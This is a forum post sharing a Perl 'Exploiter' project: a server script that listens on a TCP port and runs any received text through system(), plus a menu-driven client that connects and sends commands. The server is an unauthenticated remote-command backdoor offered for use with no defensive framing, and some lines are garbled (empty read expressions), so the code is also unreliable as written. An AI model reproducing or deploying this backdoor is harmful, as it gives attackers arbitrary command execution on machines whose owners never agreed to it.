Jump to content
slacker

[Perl]Exploiter project 0.1

Recommended Posts

Posted

Author:Semtex-Primed

Server:

#!/usr/bin/perl
use IO::Socket;

while(1) {
my $sock = new IO::Socket::INET (
LocalHost => 'netbook1-linux',
LocalPort => '8880',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);
die "\t\tCould not create socket: $!\n" unless $sock;

my $new_sock = $sock->accept();
while () {
print $_;
$new_sock->recv($recv_data,1024);
if($recv_data eq 'q' or $recv_data eq 'Q') {
close $new_sock;
} else {
system("$recv_data");
last;
}
}
# close($sock);
}

Exploiter client:

#!/usr/bin/perl
use IO::Socket;
@header = (
"\n\n\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n",
"\t\t|+| Exploiter 0.1a |+|\n",
"\t\t|+| ~ Semtex-Primed ~ |+|\n"
);
@options = (
"\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n",
"\t\t|+| 1. Connect to server |+|\n",
"\t\t|+| 2. Close |+|\n",
"\t\t|+| |+|\n",
"\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n"
);
while(1) {
system("clear");
print @header;
print @options;
print "\t\tWhat is your option? \n";
print "\t\t>>> ";
$choice = ;
chomp ($choice);
if($choice eq "1") {
my $sock = new IO::Socket::INET (
PeerAddr => 'netbook1-linux',
PeerPort => '8880',
Proto => 'tcp',
);
die "\t\tCould not create socket: $!\n" unless $sock;
print $sock "\t\tConnected!!\n";
while ($sock) {
print "\t\tConnected, here's your choices\n";
print "\t\t1. Enter command\n";
print "\t\t2. quit\n";
print "\t\t>> ";
$choice = ;
chomp ($choice);
if ($choice eq "2") {
close($sock);
exit($sock);
last
} elsif ($choice eq "1") {
print "\t\tEnter Command! \n";
print "\t\t>> ";
$data2send = ;
chomp ($data2send);
$sock->send($data2send);
close $sock;
last;
}
}
} elsif($choice eq "2") {
exit
}
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...